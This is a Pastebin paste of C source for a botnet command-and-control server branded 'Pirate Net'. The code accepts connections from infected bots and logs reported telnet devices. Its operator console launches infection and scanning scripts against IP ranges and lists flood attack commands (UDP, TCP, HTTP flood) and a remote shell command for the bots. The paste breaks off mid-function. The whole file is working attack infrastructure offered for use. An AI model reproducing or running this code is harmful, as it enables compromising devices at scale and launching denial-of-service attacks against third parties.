Advertisement
ZucoCheezy

Pirate-Server

Dec 1st, 2018
140
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 25.52 KB | None | 0 0
  1. /*
  2. Screen Usage: screen ./server [client-port] [threads] [cnc-port]
  3. */
  4. #include <stdio.h>
  5. #include <stdlib.h>
  6. #include <stdint.h>
  7. #include <inttypes.h>
  8. #include <string.h>
  9. #include <sys/types.h>
  10. #include <sys/socket.h>
  11. #include <netdb.h>
  12. #include <unistd.h>
  13. #include <time.h>
  14. #include <fcntl.h>
  15. #include <sys/epoll.h>
  16. #include <errno.h>
  17. #include <pthread.h>
  18. #include <signal.h>
  19. #include <arpa/inet.h>
  20. #define MAXFDS 1000000
  21.  
  22. const char *colours[] = { "31", "32", "33", "34", "35", "36" };
  23. //////////////////////////////////
  24. struct login_info {
  25.     char username[20];
  26.     char password[20];
  27. };
  28. static struct login_info accounts[10];
  29. struct clientdata_t {
  30.         uint32_t ip;
  31.         char connected;
  32. } clients[MAXFDS];
  33. struct telnetdata_t {
  34.         int connected;
  35. } managements[MAXFDS];
  36. struct args {
  37.         int sock;
  38.         struct sockaddr_in cli_addr;
  39. };
  40. static volatile FILE *telFD;
  41. static volatile FILE *fileFD;
  42. static volatile int epollFD = 0;
  43. static volatile int listenFD = 0;
  44. static volatile int OperatorsConnected = 0;
  45. static volatile int TELFound = 0;
  46. static volatile int scannerreport;
  47. //////////////////////////////////
  48. int fdgets(unsigned char *buffer, int bufferSize, int fd) {
  49.     int total = 0, got = 1;
  50.     while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  51.     return got;
  52. }
  53. void trim(char *str) {
  54.     int i;
  55.     int begin = 0;
  56.     int end = strlen(str) - 1;
  57.     while (isspace(str[begin])) begin++;
  58.     while ((end >= begin) && isspace(str[end])) end--;
  59.     for (i = begin; i <= end; i++) str[i - begin] = str[i];
  60.     str[i - begin] = '\0';
  61. }
  62. static int make_socket_non_blocking (int sfd) {
  63.     int flags, s;
  64.     flags = fcntl (sfd, F_GETFL, 0);
  65.     if (flags == -1) {
  66.         perror ("fcntl");
  67.         return -1;
  68.     }
  69.     flags |= O_NONBLOCK;
  70.     s = fcntl (sfd, F_SETFL, flags);
  71.     if (s == -1) {
  72.         perror ("fcntl");
  73.         return -1;
  74.     }
  75.     return 0;
  76. }
  77. static int create_and_bind (char *port) {
  78.     struct addrinfo hints;
  79.     struct addrinfo *result, *rp;
  80.     int s, sfd;
  81.     memset (&hints, 0, sizeof (struct addrinfo));
  82.     hints.ai_family = AF_UNSPEC;     /* Return IPv4 and IPv6 choices */
  83.     hints.ai_socktype = SOCK_STREAM; /* We want a TCP socket */
  84.     hints.ai_flags = AI_PASSIVE;     /* All interfaces */
  85.     s = getaddrinfo (NULL, port, &hints, &result);
  86.     if (s != 0) {
  87.         fprintf (stderr, "getaddrinfo: %s\n", gai_strerror (s));
  88.         return -1;
  89.     }
  90.     for (rp = result; rp != NULL; rp = rp->ai_next) {
  91.         sfd = socket (rp->ai_family, rp->ai_socktype, rp->ai_protocol);
  92.         if (sfd == -1) continue;
  93.         int yes = 1;
  94.         if ( setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1 ) perror("setsockopt");
  95.         s = bind (sfd, rp->ai_addr, rp->ai_addrlen);
  96.         if (s == 0) {
  97.             break;
  98.         }
  99.         close (sfd);
  100.     }
  101.     if (rp == NULL) {
  102.         fprintf (stderr, "Could not bind\n");
  103.         return -1;
  104.     }
  105.     freeaddrinfo (result);
  106.     return sfd;
  107. }
  108. void broadcast(char *msg, int us, char *sender)
  109. {
  110.         int sendMGM = 1;
  111.         if(strcmp(msg, "PING") == 0) sendMGM = 0;
  112.         char *wot = malloc(strlen(msg) + 10);
  113.         memset(wot, 0, strlen(msg) + 10);
  114.         strcpy(wot, msg);
  115.         trim(wot);
  116.         time_t rawtime;
  117.         struct tm * timeinfo;
  118.         time(&rawtime);
  119.         timeinfo = localtime(&rawtime);
  120.         char *timestamp = asctime(timeinfo);
  121.         trim(timestamp);
  122.         int i;
  123.         for(i = 0; i < MAXFDS; i++)
  124.         {
  125.                 if(i == us || (!clients[i].connected &&  (sendMGM == 0 || !managements[i].connected))) continue;
  126.                 if(sendMGM && managements[i].connected)
  127.                 {
  128.                         send(i, "\x1b[33m", 5, MSG_NOSIGNAL);
  129.                         send(i, sender, strlen(sender), MSG_NOSIGNAL);
  130.                         send(i, ": ", 2, MSG_NOSIGNAL);
  131.                 }
  132.                 printf("sent to fd: %d\n", i);
  133.                 send(i, msg, strlen(msg), MSG_NOSIGNAL);
  134.                 if(sendMGM && managements[i].connected) send(i, "\r\n\x1b[36m> \x1b[0m", 13, MSG_NOSIGNAL);
  135.                 else send(i, "\n", 1, MSG_NOSIGNAL);
  136.         }
  137.         free(wot);
  138. }
  139. void *BotEventLoop(void *useless) {
  140.     struct epoll_event event;
  141.     struct epoll_event *events;
  142.     int s;
  143.     events = calloc (MAXFDS, sizeof event);
  144.     while (1) {
  145.         int n, i;
  146.         n = epoll_wait (epollFD, events, MAXFDS, -1);
  147.         for (i = 0; i < n; i++) {
  148.             if ((events[i].events & EPOLLERR) || (events[i].events & EPOLLHUP) || (!(events[i].events & EPOLLIN))) {
  149.                 clients[events[i].data.fd].connected = 0;
  150.                 close(events[i].data.fd);
  151.                 continue;
  152.             }
  153.             else if (listenFD == events[i].data.fd) {
  154.                while (1) {
  155.                 struct sockaddr in_addr;
  156.                 socklen_t in_len;
  157.                 int infd, ipIndex;
  158.  
  159.                 in_len = sizeof in_addr;
  160.                 infd = accept (listenFD, &in_addr, &in_len);
  161.                 if (infd == -1) {
  162.                     if ((errno == EAGAIN) || (errno == EWOULDBLOCK)) break;
  163.                     else {
  164.                         perror ("accept");
  165.                         break;
  166.                          }
  167.                 }
  168.  
  169.                 clients[infd].ip = ((struct sockaddr_in *)&in_addr)->sin_addr.s_addr;
  170.                 int dup = 0;
  171.                 for(ipIndex = 0; ipIndex < MAXFDS; ipIndex++) {
  172.                     if(!clients[ipIndex].connected || ipIndex == infd) continue;
  173.                     if(clients[ipIndex].ip == clients[infd].ip) {
  174.                         dup = 1;
  175.                         break;
  176.                     }}
  177.                 if(dup) {
  178.                     if(send(infd, "!* 3NOGTFO\n", 13, MSG_NOSIGNAL) == -1) { close(infd); continue; }
  179.                     close(infd);
  180.                     continue;
  181.                 }
  182.                 s = make_socket_non_blocking (infd);
  183.                 if (s == -1) { close(infd); break; }
  184.                 event.data.fd = infd;
  185.                 event.events = EPOLLIN | EPOLLET;
  186.                 s = epoll_ctl (epollFD, EPOLL_CTL_ADD, infd, &event);
  187.                 if (s == -1) {
  188.                     perror ("epoll_ctl");
  189.                     close(infd);
  190.                     break;
  191.                 }
  192.                 clients[infd].connected = 1;
  193.                 send(infd, "!* SCANNER ON\n", 14, MSG_NOSIGNAL);
  194.             }
  195.             continue;
  196.         }
  197.         else {
  198.             int datafd = events[i].data.fd;
  199.             struct clientdata_t *client = &(clients[datafd]);
  200.             int done = 0;
  201.             client->connected = 1;
  202.             while (1) {
  203.                 ssize_t count;
  204.                 char buf[2048];
  205.                 memset(buf, 0, sizeof buf);
  206.                 while(memset(buf, 0, sizeof buf) && (count = fdgets(buf, sizeof buf, datafd)) > 0) {
  207.                     if(strstr(buf, "\n") == NULL) { done = 1; break; }
  208.                     trim(buf);
  209.                     if(strcmp(buf, "PING") == 0) {
  210.                         if(send(datafd, "PONG\n", 5, MSG_NOSIGNAL) == -1) { done = 1; break; }
  211.                         continue;
  212.                     }
  213.                     if(strstr(buf, "REPORT ") == buf) {
  214.                         char *line = strstr(buf, "REPORT ") + 7;
  215.                         fprintf(telFD, "%s\n", line);
  216.                         fflush(telFD);
  217.                         TELFound++;
  218.                         continue;
  219.                     }
  220.                     if(strstr(buf, "PROBING") == buf) {
  221.                         char *line = strstr(buf, "PROBING");
  222.                         scannerreport = 1;
  223.                         continue;
  224.                     }
  225.                     if(strstr(buf, "REMOVING PROBE") == buf) {
  226.                         char *line = strstr(buf, "REMOVING PROBE");
  227.                         scannerreport = 0;
  228.                         continue;
  229.                     }
  230.                     if(strcmp(buf, "PONG") == 0) {
  231.                         continue;
  232.                     }
  233.                     printf("buf: \"%s\"\n", buf);
  234.                 }
  235.                 if (count == -1) {
  236.                     if (errno != EAGAIN) {
  237.                         done = 1;
  238.                     }
  239.                     break;
  240.                 }
  241.                 else if (count == 0) {
  242.                     done = 1;
  243.                     break;
  244.                 }
  245.             if (done) {
  246.                 client->connected = 0;
  247.                 close(datafd);
  248. }}}}}}
  249. unsigned int BotsConnected() {
  250.     int i = 0, total = 0;
  251.     for(i = 0; i < MAXFDS; i++) {
  252.         if(!clients[i].connected) continue;
  253.         total++;
  254.     }
  255.     return total;
  256. }
  257. void *TitleWriter(void *sock) {
  258.     int datafd = (int)sock;
  259.     char string[2048];
  260.     while(1) {
  261.         memset(string, 0, 2048);
  262.         sprintf(string, "%c]0;Boat COUNT: %d | Pirates: %d%c", '\033', BotsConnected(), OperatorsConnected, '\007');
  263.         if(send(datafd, string, strlen(string), MSG_NOSIGNAL) == -1) return;
  264.         sleep(2);
  265. }}
  266. int Find_Login(char *str) {
  267.     FILE *fp;
  268.     int line_num = 0;
  269.     int find_result = 0, find_line=0;
  270.     char temp[512];
  271.  
  272.     if((fp = fopen("login.txt", "r")) == NULL){
  273.         return(-1);
  274.     }
  275.     while(fgets(temp, 512, fp) != NULL){
  276.         if((strstr(temp, str)) != NULL){
  277.             find_result++;
  278.             find_line = line_num;
  279.         }
  280.         line_num++;
  281.     }
  282.     if(fp)
  283.         fclose(fp);
  284.     if(find_result == 0)return 0;
  285.     return find_line;
  286. }
  287. void *BotWorker(void *sock) {
  288.     int datafd = (int)sock;
  289.     int find_line;
  290.     OperatorsConnected++;
  291.     pthread_t title;
  292.     char buf[2048];
  293.     char* username;
  294.     char* password;
  295.     memset(buf, 0, sizeof buf);
  296.     char botnet[2048];
  297.     memset(botnet, 0, 2048);
  298.     char botcount [2048];
  299.     memset(botcount, 0, 2048);
  300.     char statuscount [2048];
  301.     memset(statuscount, 0, 2048);
  302.  
  303.     FILE *fp;
  304.     int i=0;
  305.     int c;
  306.     fp=fopen("login.txt", "r");
  307.     while(!feof(fp)) {
  308.         c=fgetc(fp);
  309.         ++i;
  310.     }
  311.     int j=0;
  312.     rewind(fp);
  313.     while(j!=i-1) {
  314.         fscanf(fp, "%s %s", accounts[j].username, accounts[j].password);
  315.         ++j;
  316.     }
  317.  
  318.         if(send(datafd, "\x1b[32mNickname:\x1b[30m ", 22, MSG_NOSIGNAL) == -1) goto end;
  319.         if(fdgets(buf, sizeof buf, datafd) < 1) goto end;
  320.         trim(buf);
  321.         char* nickstring;
  322.         sprintf(accounts[find_line].username, buf);
  323.         nickstring = ("%s", buf);
  324.         find_line = Find_Login(nickstring);
  325.         if(strcmp(nickstring, accounts[find_line].username) == 0){                 
  326.         if(send(datafd, "\x1b[32m*    Ahoy, Valid Username Lad     *\r\n", 48, MSG_NOSIGNAL) == -1) goto end;
  327.         if(send(datafd, "\x1b[32mPassword:\x1b[30m ", 22, MSG_NOSIGNAL) == -1) goto end;
  328.         if(fdgets(buf, sizeof buf, datafd) < 1) goto end;
  329.         trim(buf);
  330.         if(strcmp(buf, accounts[find_line].password) != 0) goto failed;
  331.         memset(buf, 0, 2048);
  332.         goto Banner;
  333.         }
  334.         failed:
  335.         if(send(datafd, "\033[1A", 5, MSG_NOSIGNAL) == -1) goto end;
  336.         if(send(datafd, "\x1b[31m****************************************\r\n", 48, MSG_NOSIGNAL) == -1) goto end;
  337.         if(send(datafd, "\x1b[31m*          INVALID CREDENTIALS         *\r\n", 48, MSG_NOSIGNAL) == -1) goto end;
  338.         if(send(datafd, "\x1b[31m*      Get The Fuck Outa My Boat       *\r\n", 48, MSG_NOSIGNAL) == -1) goto end;
  339.         if(send(datafd, "\x1b[31m****************************************\r\n", 48, MSG_NOSIGNAL) == -1) goto end;
  340.         sleep(5);
  341.         goto end;
  342.  
  343.         Banner:
  344.         pthread_create(&title, NULL, &TitleWriter, sock);
  345.         char ascii_banner_line1 [5000];
  346.         char ascii_banner_line2 [5000];
  347.         char ascii_banner_line3 [5000];
  348.         char ascii_banner_line4 [5000];
  349.         char ascii_banner_line5 [5000];
  350.         char ascii_banner_line6 [5000];
  351.         char ascii_banner_line7 [5000];
  352.         char welcome_line [80];
  353.         char banner_text_line1 [2048];
  354.  
  355.         sprintf(ascii_banner_line1, "\x1b[1m\x1b[36m *********************************************\r\n");
  356.         sprintf(ascii_banner_line2, "*\x1b[37m                Ahoy, Pirate                 *\r\n");
  357.         sprintf(ascii_banner_line3, "*\x1b[31m           Welcome To The Pirate Net         *\r\n");
  358.         sprintf(ascii_banner_line4, "*\x1b[31m               Ran By Verplix                *\r\n");
  359.         sprintf(ascii_banner_line5, "*\x1b[37m         #Boat #Pirate #Verplix #Net         *\r\n");
  360.         sprintf(ascii_banner_line6, "*\x1b[37m               #Fuck The Feds                *\r\n");
  361.         sprintf(ascii_banner_line7, "\x1b[1m\x1b[36m *********************************************\r\n");
  362.         sprintf(welcome_line,       "\r\n\x1b[31m         ~[\x1b[36mWelcome, %s\x1b[31m]~\r\n", accounts[find_line].username);
  363.         sprintf(banner_text_line1,  "\x1b[31m            [\x1b[32m+\x1b[32m] Stuck ? Type HELP \x1b[32m[\x1b[36m+\x1b[32m]\r\n");
  364.  
  365.         if(send(datafd, ascii_banner_line1, strlen(ascii_banner_line1), MSG_NOSIGNAL) == -1) goto end;
  366.         if(send(datafd, ascii_banner_line2, strlen(ascii_banner_line2), MSG_NOSIGNAL) == -1) goto end;
  367.         if(send(datafd, ascii_banner_line3, strlen(ascii_banner_line3), MSG_NOSIGNAL) == -1) goto end;
  368.         if(send(datafd, ascii_banner_line4, strlen(ascii_banner_line4), MSG_NOSIGNAL) == -1) goto end;
  369.         if(send(datafd, ascii_banner_line5, strlen(ascii_banner_line5), MSG_NOSIGNAL) == -1) goto end;
  370.         if(send(datafd, ascii_banner_line6, strlen(ascii_banner_line6), MSG_NOSIGNAL) == -1) goto end;
  371.         if(send(datafd, ascii_banner_line7, strlen(ascii_banner_line7), MSG_NOSIGNAL) == -1) goto end;
  372.         if(send(datafd, welcome_line,       strlen(welcome_line),       MSG_NOSIGNAL) == -1) goto end;
  373.         if(send(datafd, banner_text_line1,  strlen(banner_text_line1),  MSG_NOSIGNAL) == -1) goto end;
  374.         while(1) {
  375.         if(send(datafd, "\x1b[36m> \x1b[31m", 12, MSG_NOSIGNAL) == -1) goto end;
  376.         break;
  377.         }
  378.         pthread_create(&title, NULL, &TitleWriter, sock);
  379.         managements[datafd].connected = 1;
  380.  
  381.         while(fdgets(buf, sizeof buf, datafd) > 0)
  382.         {      
  383.             if(strstr(buf, "BOTS")) {
  384.                 sprintf(botcount, "\x1b[31m[+] - Boat:[ \x1b[31m%d \x1b[31m] [+] - Pirates:[ \x1b[31m%d \x1b[31m]\r\n", BotsConnected(), OperatorsConnected);
  385.                 if(send(datafd, botcount, strlen(botcount), MSG_NOSIGNAL) == -1) return;
  386.                 continue;
  387.             }
  388.             if(strstr(buf, "STATUS")){
  389.                 sprintf(statuscount, "\x1b[31m[+] - Telnet Devices: [ \x1b[31m%d \x1b[31m] [+] - Telnet Status: [ \x1b[31m%d \x1b[31m]\r\n", TELFound, scannerreport);
  390.                 if(send(datafd, statuscount, strlen(statuscount), MSG_NOSIGNAL) == -1) return;
  391.                 continue;
  392.             }
  393.             if(strstr(buf, "STATS")){
  394.                 sprintf(botcount, "\x1b[31m[+] - Boat:[ \x1b[31m%d \x1b[31m] [+] - Pirates:[ \x1b[31m%d \x1b[31m]\r\n", BotsConnected(), OperatorsConnected);
  395.                 if(send(datafd, botcount, strlen(botcount), MSG_NOSIGNAL) == -1) return;
  396.                 sprintf(statuscount, "\x1b[31m[+] - Telnet Devices: [ \x1b[31m%d \x1b[31m] [+] - Telnet Status: [ \x1b[31m%d \x1b[31m]\r\n", TELFound, scannerreport);
  397.                 if(send(datafd, statuscount, strlen(statuscount), MSG_NOSIGNAL) == -1) return;
  398.                 continue;
  399.             }
  400.             if(strstr(buf, "INFECT")) {
  401.                 system("python telnet.py filtered.txt");
  402.                 continue;
  403.             }
  404.             if(strstr(buf, "REINFECT")) {
  405.                 system("python w.py filtered_ssh.txt");
  406.                 continue;
  407.             }
  408.             if(strstr(buf, "FILTER")) {
  409.                 system("sort telnet.txt | uniq -u>>filtered_telnet.txt;sort infected.txt | uniq -u>>filtered_ssh.txt");
  410.                 continue;
  411.             }
  412.             if(strstr(buf, "LOAD")) {
  413.                 system("python scan.py 376 LOAD 88 1");
  414.                 continue;
  415.             }
  416.             if(strstr(buf, "SCAN1")) {
  417.                 system("python scan.py 376 B 119.92 3");
  418.                 continue;
  419.             }
  420.             if(strstr(buf, "SCAN2")) {
  421.                 system("python scan.py 376 B 119.93 3");
  422.                 continue;
  423.             }
  424.             if(strstr(buf, "SCAN3")) {
  425.                 system("python scan.py 376 B 122.3 3");
  426.                 continue;
  427.             }
  428.             if(strstr(buf, "SCAN4")) {
  429.                 system("python scan.py 376 B 122.52 3");
  430.                 continue;
  431.             }
  432.             if(strstr(buf, "SCAN5")) {
  433.                 system("python scan.py 376 B 122.54 3");
  434.                 continue;
  435.             }
  436.             if(strstr(buf, "SCAN6")) {
  437.                 system("python scan.py 376 B 124.105 3");
  438.                 continue;
  439.             }
  440.             if(strstr(buf, "SCAN7")) {
  441.                 system("python scan.py 376 B 180.180 1");
  442.                 continue;
  443.             }
  444.             if(strstr(buf, "SCAN8")) {
  445.                 system("python scan.py 376 B 185.52 1");
  446.                 continue;
  447.             }
  448.             if(strstr(buf, "LUCKY")) {
  449.                 system("python scan.py 376 LUCKY admin 1");
  450.                 continue;
  451.             }
  452.             if(strstr(buf, "LUCKY2")) {
  453.                 system("python scan.py 376 LUCKY2 admin 1");
  454.                 continue;
  455.             }
  456.             if(strstr(buf, "SCAN_OFF")) {
  457.                 system("killall -9 python");
  458.                 continue;
  459.             }
  460.             if(strstr(buf, "HELP")) {
  461.                 pthread_create(&title, NULL, &TitleWriter, sock);
  462.                 char helpline1  [80];
  463.                 char helpline2  [80];
  464.                 char helpline3  [80];
  465.                 char helpline4  [80];
  466.                 char helpline5  [80];
  467.                 char helpline6  [80];
  468.                 char helpline7  [80];
  469.                 char helpline8  [80];
  470.                 char helpline9  [80];
  471.                 char helpline10 [80];
  472.                 char helpline11 [80];
  473.                 char helpline12 [80];
  474.                 char helpline13 [80];
  475.                 char helpline14 [80];
  476.                 char helpline15 [80];
  477.                 char helpline16 [80];
  478.                 char helpline17 [80];
  479.                 char helpline18 [80];
  480.                 char helpline19 [80];
  481.                 char helpline20 [80];
  482.                 char helpline21 [80];
  483.                 char helpline22 [80];
  484.                 char helpline23 [80];
  485.                 char helpline24 [80];
  486.                 char helpline25 [80];
  487.  
  488.  
  489.  
  490.                 sprintf(helpline1,  "\r\n\x1b[31m[\x1b[36m+\x1b[31m] \x1b[36mATTACK COMMANDS \x1b[31m[\x1b[36m+\x1b[31m]\r\n");
  491.                 sprintf(helpline2,  "\x1b[31m[\x1b[36m-\x1b[31m] \x1b[36mUDP    \x1b[31m- !* UDP IP Port Time 32 0 10\r\n");
  492.                 sprintf(helpline3,  "\x1b[31m[\x1b[36m-\x1b[31m] \x1b[36mTCP    \x1b[31m- !* TCP IP Port Time 32 all 0 10\r\n");
  493.                 sprintf(helpline4,  "\x1b[31m[\x1b[36m-\x1b[31m] \x1b[36mSTD    \x1b[31m- !* STD IP Port Time\r\n");
  494.                 sprintf(helpline5,  "\x1b[31m[\x1b[36m-\x1b[31m] \x1b[36mCNC    \x1b[31m- !* CNC IP Port Time\r\n");
  495.                 sprintf(helpline6,  "\x1b[31m[\x1b[36m-\x1b[31m] \x1b[36mHTTP   \x1b[31m- !* HTTPFLOOD Url Port / Time 10\r\n");
  496.                 sprintf(helpline7,  "\x1b[31m[\x1b[36m-\x1b[31m] \x1b[36mHTTP   \x1b[31m- !* HTTPFLOOD POST/GET/HEAD/GHP Url Port / Time 10\r\n");
  497.                 sprintf(helpline8,  "\x1b[31m[\x1b[36m-\x1b[31m] \x1b[36mKILL   \x1b[31m- !* KILLATTK | KILL\r\n");
  498.  
  499.                 sprintf(helpline9,  "\x1b[31m[\x1b[36m+\x1b[31m] \x1b[36mSCANNING COMMANDS \x1b[31m[\x1b[36m+\x1b[31m]\r\n");
  500.                 sprintf(helpline10, "\x1b[31m[\x1b[36m-\x1b[31m] \x1b[36mLOAD   \x1b[31m- LOAD\r\n");
  501.                 sprintf(helpline11, "\x1b[31m[\x1b[36m-\x1b[31m] \x1b[36mSCAN   \x1b[31m- SCAN1 | SCAN2 | SCAN3 | SCAN4\r\n");
  502.                 sprintf(helpline12, "\x1b[31m[\x1b[36m-\x1b[31m] \x1b[36mSCAN   \x1b[31m- SCAN5 | SCAN6 | SCAN7 | SCAN8\r\n");
  503.                 sprintf(helpline13, "\x1b[31m[\x1b[36m-\x1b[31m] \x1b[36mLUCKY  \x1b[31m- LUCKY | LUCKY2\r\n");
  504.                 sprintf(helpline14, "\x1b[31m[\x1b[36m-\x1b[31m] \x1b[36mSTOP   \x1b[31m- SCAN_OFF\r\n");
  505.  
  506.                 sprintf(helpline15, "\x1b[31m[\x1b[36m+\x1b[31m] \x1b[36mGENERAL COMMANDS \x1b[31m[\x1b[36m+\x1b[31m]\r\n");
  507.                 sprintf(helpline16, "\x1b[31m[\x1b[36m-\x1b[31m] \x1b[36mSHELL  \x1b[31m- !* SH\r\n");
  508.                 sprintf(helpline17, "\x1b[31m[\x1b[36m-\x1b[31m] \x1b[36mBOTS   \x1b[31m- !* BOTS | BOTS\r\n");
  509.                 sprintf(helpline18, "\x1b[31m[\x1b[36m-\x1b[31m] \x1b[36mSTATUS \x1b[31m- !* STATUS | STATUS\r\n");
  510.                 sprintf(helpline19, "\x1b[31m[\x1b[36m-\x1b[31m] \x1b[36mSTATS  \x1b[31m- STATS\r\n");
  511.  
  512.                 sprintf(helpline20, "\x1b[31m[\x1b[36m+\x1b[31m] \x1b[36mMISC COMMANDS \x1b[31m[\x1b[36m+\x1b[31m]\r\n");
  513.                 sprintf(helpline21, "\x1b[31m[\x1b[36m-\x1b[31m] \x1b[36mINECTION FILTER \x1b[31m- FILTER\r\n");
  514.                 sprintf(helpline22, "\x1b[31m[\x1b[36m-\x1b[31m] \x1b[36mTELNET INFECT   \x1b[31m- INFECT\r\n");
  515.                 sprintf(helpline23, "\x1b[31m[\x1b[36m-\x1b[31m] \x1b[36mREINFECT BOTS   \x1b[31m- REINFECT\r\n");
  516.                 sprintf(helpline24, "\x1b[31m[\x1b[36m-\x1b[31m] \x1b[36mCLEARSCREEN     \x1b[31m- CLEAR\r\n");
  517.                 sprintf(helpline25, "\x1b[31m[\x1b[36m-\x1b[31m] \x1b[36mLOGOUT          \x1b[31m- LOGOUT\r\n");
  518.  
  519.  
  520.  
  521.                 if(send(datafd, helpline1,  strlen(helpline1),  MSG_NOSIGNAL) == -1) goto end;
  522.                 if(send(datafd, helpline2,  strlen(helpline2),  MSG_NOSIGNAL) == -1) goto end;
  523.                 if(send(datafd, helpline3,  strlen(helpline3),  MSG_NOSIGNAL) == -1) goto end;
  524.                 if(send(datafd, helpline4,  strlen(helpline4),  MSG_NOSIGNAL) == -1) goto end;
  525.                 if(send(datafd, helpline5,  strlen(helpline5),  MSG_NOSIGNAL) == -1) goto end;
  526.                 if(send(datafd, helpline6,  strlen(helpline6),  MSG_NOSIGNAL) == -1) goto end;
  527.                 if(send(datafd, helpline7,  strlen(helpline7),  MSG_NOSIGNAL) == -1) goto end;
  528.                 if(send(datafd, helpline8,  strlen(helpline8),  MSG_NOSIGNAL) == -1) goto end;
  529.                 if(send(datafd, helpline9,  strlen(helpline9),  MSG_NOSIGNAL) == -1) goto end;
  530.                 if(send(datafd, helpline10, strlen(helpline10), MSG_NOSIGNAL) == -1) goto end;
  531.                 if(send(datafd, helpline11, strlen(helpline11), MSG_NOSIGNAL) == -1) goto end;
  532.                 if(send(datafd, helpline12, strlen(helpline12), MSG_NOSIGNAL) == -1) goto end;
  533.                 if(send(datafd, helpline13, strlen(helpline13), MSG_NOSIGNAL) == -1) goto end;
  534.                 if(send(datafd, helpline14, strlen(helpline14), MSG_NOSIGNAL) == -1) goto end;
  535.                 if(send(datafd, helpline15, strlen(helpline15), MSG_NOSIGNAL) == -1) goto end;
  536.                 if(send(datafd, helpline16, strlen(helpline16), MSG_NOSIGNAL) == -1) goto end;
  537.                 if(send(datafd, helpline17, strlen(helpline17), MSG_NOSIGNAL) == -1) goto end;
  538.                 if(send(datafd, helpline18, strlen(helpline18), MSG_NOSIGNAL) == -1) goto end;
  539.                 if(send(datafd, helpline19, strlen(helpline19), MSG_NOSIGNAL) == -1) goto end;
  540.                 if(send(datafd, helpline20, strlen(helpline20), MSG_NOSIGNAL) == -1) goto end;
  541.                 if(send(datafd, helpline21, strlen(helpline21), MSG_NOSIGNAL) == -1) goto end;
  542.                 if(send(datafd, helpline22, strlen(helpline22), MSG_NOSIGNAL) == -1) goto end;
  543.                 if(send(datafd, helpline23, strlen(helpline23), MSG_NOSIGNAL) == -1) goto end;
  544.                 if(send(datafd, helpline24, strlen(helpline24), MSG_NOSIGNAL) == -1) goto end;
  545.                 if(send(datafd, helpline25, strlen(helpline25), MSG_NOSIGNAL) == -1) goto end;
  546.                 pthread_create(&title, NULL, &TitleWriter, sock);
  547.                 while(1) {
  548.                 if(send(datafd, "\x1b[36m> \x1b[31m", 12, MSG_NOSIGNAL) == -1) goto end;
  549.                 break;
  550.                 }
  551.                 continue;
  552.             }
  553.             if(strstr(buf, "KILL")) {
  554.                 char killattack [2048];
  555.                 memset(killattack, 0, 2048);
  556.                 sprintf(killattack, "!* KILLATTK\r\n");
  557.                 if(send(datafd, killattack, strlen(killattack), MSG_NOSIGNAL) == -1) goto end;
  558.                 continue;
  559.             }
  560.             if(strstr(buf, "CLEAR")) {
  561.                 char clearscreen [2048];
  562.                 memset(clearscreen, 0, 2048);
  563.                 sprintf(clearscreen, "\033[2J\033[1;1H");
  564.                 if(send(datafd, clearscreen,        strlen(clearscreen), MSG_NOSIGNAL) == -1) goto end;
  565.                 if(send(datafd, ascii_banner_line1, strlen(ascii_banner_line1), MSG_NOSIGNAL) == -1) goto end;
  566.                 if(send(datafd, ascii_banner_line2, strlen(ascii_banner_line2), MSG_NOSIGNAL) == -1) goto end;
  567.                 if(send(datafd, ascii_banner_line3, strlen(ascii_banner_line3), MSG_NOSIGNAL) == -1) goto end;
  568.                 if(send(datafd, ascii_banner_line4, strlen(ascii_banner_line4), MSG_NOSIGNAL) == -1) goto end;
  569.                 if(send(datafd, ascii_banner_line5, strlen(ascii_banner_line5), MSG_NOSIGNAL) == -1) goto end;
  570.                 if(send(datafd, ascii_banner_line6, strlen(ascii_banner_line6), MSG_NOSIGNAL) == -1) goto end;
  571.                 if(send(datafd, ascii_banner_line7, strlen(ascii_banner_line7), MSG_NOSIGNAL) == -1) goto end;
  572.                 if(send(datafd, welcome_line,       strlen(welcome_line),       MSG_NOSIGNAL) == -1) goto end;
  573.                 if(send(datafd, banner_text_line1,  strlen(banner_text_line1),  MSG_NOSIGNAL) == -1) goto end;
  574.                 while(1) {
  575.                 if(send(datafd, "\x1b[36m> \x1b[31m", 12, MSG_NOSIGNAL) == -1) goto end;
  576.                 break;
  577.                 }
  578.                 continue;
  579.             }
  580.             if(strstr(buf, "LOGOUT")) {
  581.                 char logoutmessage [2048];
  582.                 memset(logoutmessage, 0, 2048);
  583.                 sprintf(logoutmessage, "Bye, %s", accounts[find_line].username);
  584.                 if(send(datafd, logoutmessage, strlen(logoutmessage), MSG_NOSIGNAL) == -1)goto end;
  585.                 sleep(5);
  586.                 goto end;
  587.             }
  588.                 trim(buf);
  589.                 if(send(datafd, "\x1b[36m> \x1b[0m", 11, MSG_NOSIGNAL) == -1) goto end;
  590.                 if(strlen(buf) == 0) continue;
  591.                 printf("%s: \"%s\"\n",accounts[find_line].username, buf);
  592.  
  593.                 FILE *LogFile;
  594.                 LogFile = fopen("server_log.txt", "a");
  595.                 time_t now;
  596.                 struct tm *gmt;
  597.                 char formatted_gmt [50];
  598.                 char lcltime[50];
  599.                 now = time(NULL);
  600.                 gmt = gmtime(&now);
  601.                 strftime ( formatted_gmt, sizeof(formatted_gmt), "%I:%M %p", gmt );
  602.                 fprintf(LogFile, "[%s] %s: %s\n", formatted_gmt, accounts[find_line].username, buf);
  603.                 fclose(LogFile);
  604.                 broadcast(buf, datafd, accounts[find_line].username);
  605.                 memset(buf, 0, 2048);
  606.         }
  607.         end:
  608.             managements[datafd].connected = 0;
  609.             close(datafd);
  610.             OperatorsConnected--;
  611. }
  612. void *BotListener(int port) {
  613.     int sockfd, newsockfd;
  614.     socklen_t clilen;
  615.     struct sockaddr_in serv_addr, cli_addr;
  616.     sockfd = socket(AF_INET, SOCK_STREAM, 0);
  617.     if (sockfd < 0) perror("ERROR opening socket");
  618.     bzero((char *) &serv_addr, sizeof(serv_addr));
  619.     serv_addr.sin_family = AF_INET;
  620.     serv_addr.sin_addr.s_addr = INADDR_ANY;
  621.     serv_addr.sin_port = htons(port);
  622.     if (bind(sockfd, (struct sockaddr *) &serv_addr,  sizeof(serv_addr)) < 0) perror("ERROR on binding");
  623.     listen(sockfd,5);
  624.     clilen = sizeof(cli_addr);
  625.     while(1) {
  626.         newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen);
  627.         if (newsockfd < 0) perror("ERROR on accept");
  628.         pthread_t thread;
